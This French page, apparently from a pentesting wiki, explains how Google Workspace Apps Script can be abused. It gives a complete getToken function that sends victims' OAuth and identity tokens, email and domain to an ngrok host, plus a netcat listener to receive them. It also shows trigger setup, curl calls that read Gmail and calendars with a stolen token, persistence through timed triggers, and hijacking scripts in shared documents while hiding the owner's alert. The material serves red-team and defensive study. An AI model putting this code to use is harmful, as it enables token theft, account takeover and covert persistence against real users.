# GWS - App Scripts

{{#include ../../../banners/hacktricks-training.md}}

## App Scripts

App Scripts est **un code qui sera déclenché lorsqu'un utilisateur ayant des droits d'éditeur accède au document auquel l'App Script est lié** et après **avoir accepté l'invite OAuth**.\
Ils peuvent également être configurés pour être **exécutés à intervalles réguliers** par le propriétaire de l'App Script (Persistance).

### Créer un App Script

Il existe plusieurs façons de créer un App Script, bien que les plus courantes soient **à partir d'un Document Google (de tout type)** et en tant que **projet autonome** :

<details>

<summary>Créer un projet lié au conteneur à partir de Google Docs, Sheets ou Slides</summary>

1. Ouvrez un document Docs, une feuille de calcul Sheets ou une présentation Slides.
2. Cliquez sur **Extensions** > **Google Apps Script**.
3. Dans l'éditeur de script, cliquez sur **Projet sans titre**.
4. Donnez un nom à votre projet et cliquez sur **Renommer**.

</details>

<details>

<summary>Créer un projet autonome</summary>

Pour créer un projet autonome à partir d'Apps Script :

1. Allez sur [`script.google.com`](https://script.google.com/).
2. Cliquez sur **Nouveau projet**.
3. Dans l'éditeur de script, cliquez sur **Projet sans titre**.
4. Donnez un nom à votre projet et cliquez sur **Renommer**.

</details>

<details>

<summary>Créer un projet autonome à partir de Google Drive</summary>

1. Ouvrez [Google Drive](https://drive.google.com/).
2. Cliquez sur **Nouveau** > **Plus** > **Google Apps Script**.

</details>

<details>

<summary>Créer un projet lié au conteneur à partir de Google Forms</summary>

1. Ouvrez un formulaire dans Google Forms.
2. Cliquez sur Plus more_vert > **Éditeur de script**.
3. Dans l'éditeur de script, cliquez sur **Projet sans titre**.
4. Donnez un nom à votre projet et cliquez sur **Renommer**.

</details>

<details>

<summary>Créer un projet autonome en utilisant l'outil en ligne de commande clasp</summary>

`clasp` est un outil en ligne de commande qui vous permet de créer, tirer/pousser et déployer des projets Apps Script depuis un terminal.

Voir le [Guide de l'interface en ligne de commande utilisant `clasp`](https://developers.google.com/apps-script/guides/clasp) pour plus de détails.

</details>

## Scénario App Script <a href="#create-using-clasp" id="create-using-clasp"></a>

### Créer une feuille Google avec App Script

Commencez par créer un App Script, ma recommandation pour ce scénario est de créer une feuille Google et d'aller à **`Extensions > App Scripts`**, cela ouvrira un **nouvel App Script pour vous lié à la feuille**.

### Token de fuite

Pour donner accès au token OAuth, vous devez cliquer sur **`Services +` et ajouter des scopes comme** :

- **AdminDirectory** : Accéder aux utilisateurs et groupes du répertoire (si l'utilisateur a suffisamment de permissions)
- **Gmail** : Pour accéder aux données Gmail
- **Drive** : Pour accéder aux données Drive
- **Google Sheets API** : Pour que cela fonctionne avec le déclencheur

Pour changer vous-même les **scopes nécessaires**, vous pouvez aller dans les paramètres du projet et activer : **`Afficher le fichier manifeste "appsscript.json" dans l'éditeur`.**
```javascript
function getToken() {
var userEmail = Session.getActiveUser().getEmail()
var domain = userEmail.substring(userEmail.lastIndexOf("@") + 1)
var oauthToken = ScriptApp.getOAuthToken()
var identityToken = ScriptApp.getIdentityToken()

// Data json
data = {
oauthToken: oauthToken,
identityToken: identityToken,
email: userEmail,
domain: domain,
}

// Send data
makePostRequest(data)

// Use the APIs, if you don't even if the have configured them in appscript.json the App script won't ask for permissions

// To ask for AdminDirectory permissions
var pageToken = ""
page = AdminDirectory.Users.list({
domain: domain, // Use the extracted domain
orderBy: "givenName",
maxResults: 100,
pageToken: pageToken,
})

// To ask for gmail permissions
var threads = GmailApp.getInboxThreads(0, 10)

// To ask for drive permissions
var files = DriveApp.getFiles()
}

function makePostRequest(data) {
var url = "http://5.tcp.eu.ngrok.io:12027"

var options = {
method: "post",
contentType: "application/json",
payload: JSON.stringify(data),
}

try {
UrlFetchApp.fetch(url, options)
} catch (e) {
Logger.log("Error making POST request: " + e.toString())
}
}
```
Pour capturer la requête, vous pouvez simplement exécuter :
```bash
ngrok tcp 4444
nc -lv 4444 #macOS
```
Permissions demandées pour exécuter le App Script :

<figure><img src="../../../images/image (334).png" alt=""><figcaption></figcaption></figure>

> [!WARNING]
> Comme une demande externe est faite, l'invite OAuth **demandera également la permission d'atteindre des points de terminaison externes**.

### Créer un déclencheur

Une fois que l'App est lue, cliquez sur **⏰ Déclencheurs** pour créer un déclencheur. Comme **fonction** à exécuter, choisissez **`getToken`**, s'exécute au déploiement **`Head`**, dans la source d'événement sélectionnez **`From spreadsheet`** et le type d'événement sélectionnez **`On open`** ou **`On edit`** (selon vos besoins) et enregistrez.

Notez que vous pouvez vérifier les **exécutions des App Scripts dans l'onglet Exécutions** si vous souhaitez déboguer quelque chose.

### Partage

Pour **déclencher** le **App Script**, la victime doit se connecter avec **Accès Éditeur**.

> [!TIP]
> Le **token** utilisé pour exécuter le **App Script** sera celui du **créateur du déclencheur**, même si le fichier est ouvert en tant qu'Éditeur par d'autres utilisateurs.

### Abuser des documents Partagés avec Moi

> [!CAUTION]
> Si quelqu'un **vous a partagé un document avec des App Scripts et un déclencheur utilisant le Head** du App Script (pas un déploiement fixe), vous pouvez modifier le code du App Script (ajoutant par exemple les fonctions de vol de token), y accéder, et le **App Script sera exécuté avec les permissions de l'utilisateur qui vous a partagé le document** ! (notez que le token OAuth du propriétaire aura comme scopes d'accès ceux donnés lors de la création du déclencheur).
>
> Une **notification sera envoyée au créateur du script indiquant que quelqu'un a modifié le script** (Que diriez-vous d'utiliser les permissions gmail pour générer un filtre afin de prévenir l'alerte ?)

> [!TIP]
> Si un **attaquant modifie les scopes du App Script**, les mises à jour **ne seront pas appliquées** au document jusqu'à ce qu'un **nouveau déclencheur** avec les changements soit créé. Par conséquent, un attaquant ne pourra pas voler le token du propriétaire créateur avec plus de scopes que celui qu'il a défini dans le déclencheur qu'il a créé.

### Copier au lieu de partager

Lorsque vous créez un lien pour partager un document, un lien similaire à celui-ci est créé : `https://docs.google.com/spreadsheets/d/1i5[...]aIUD/edit`\
Si vous **changez** la fin **"/edit"** pour **"/copy"**, au lieu d'y accéder, Google vous demandera si vous souhaitez **générer une copie du document :**

<figure><img src="../../../images/image (335).png" alt=""><figcaption></figcaption></figure>

Si l'utilisateur le copie et y accède, à la fois les **contenus du document et les App Scripts seront copiés**, cependant les **déclencheurs ne le sont pas**, donc **rien ne sera exécuté**.

### Partager en tant qu'application Web

Notez qu'il est également possible de **partager un App Script en tant qu'application Web** (dans l'Éditeur du App Script, déployez en tant qu'application Web), mais une alerte comme celle-ci apparaîtra :

<figure><img src="../../../images/image (337).png" alt=""><figcaption></figcaption></figure>

Suivie de l'**invite OAuth typique demandant** les permissions nécessaires.

### Test

Vous pouvez tester un token recueilli pour lister les emails avec :
```bash
curl -X GET "https://www.googleapis.com/gmail/v1/users/<user@email>/messages" \
-H "Authorization: Bearer <token>"
```
Lister le calendrier de l'utilisateur :
```bash
curl -H "Authorization: Bearer $OAUTH_TOKEN" \
-H "Accept: application/json" \
"https://www.googleapis.com/calendar/v3/users/me/calendarList"
```
## App Script comme Persistance

Une option pour la persistance serait de **créer un document et d'ajouter un déclencheur pour la fonction getToken** et de partager le document avec l'attaquant afin que chaque fois que l'attaquant ouvre le fichier, il **exfiltre le token de la victime.**

Il est également possible de créer un App Script et de le faire déclencher toutes les X minutes (comme chaque minute, heure, jour...). Un attaquant qui a **compromis des identifiants ou une session d'une victime pourrait définir un déclencheur temporel pour l'App Script et exfiltrer un token OAuth très privilégié chaque jour** :

Il suffit de créer un App Script, d'aller dans Déclencheurs, de cliquer sur Ajouter un déclencheur, et de sélectionner comme source d'événement Basé sur le temps et de choisir les options qui vous conviennent le mieux :

<figure><img src="../../../images/image (336).png" alt=""><figcaption></figcaption></figure>

> [!CAUTION]
> Cela créera un e-mail d'alerte de sécurité et un message push sur votre mobile vous alertant à ce sujet.

### Contournement de l'invite non vérifiée du document partagé

De plus, si quelqu'un vous a **partagé** un document avec **accès éditeur**, vous pouvez générer des **App Scripts à l'intérieur du document** et le **PROPRIÉTAIRE (créateur) du document sera le propriétaire de l'App Script**.

> [!WARNING]
> Cela signifie que le **créateur du document apparaîtra comme créateur de tout App Script** que quiconque avec un accès éditeur crée à l'intérieur.
>
> Cela signifie également que l'**App Script sera de confiance par l'environnement Workspace** du créateur du document.

> [!CAUTION]
> Cela signifie également que si un **App Script existait déjà** et que des personnes ont **accordé l'accès**, quiconque ayant la permission **Éditeur** sur le document peut **le modifier et abuser de cet accès.**\
> Pour abuser de cela, vous avez également besoin que des personnes déclenchent l'App Script. Et un truc astucieux est de **publier le script en tant qu'application web**. Lorsque les **personnes** qui ont déjà accordé **l'accès** à l'App Script accèdent à la page web, elles **déclencheront l'App Script** (cela fonctionne également en utilisant des balises `<img>`).

{{#include ../../../banners/hacktricks-training.md}}
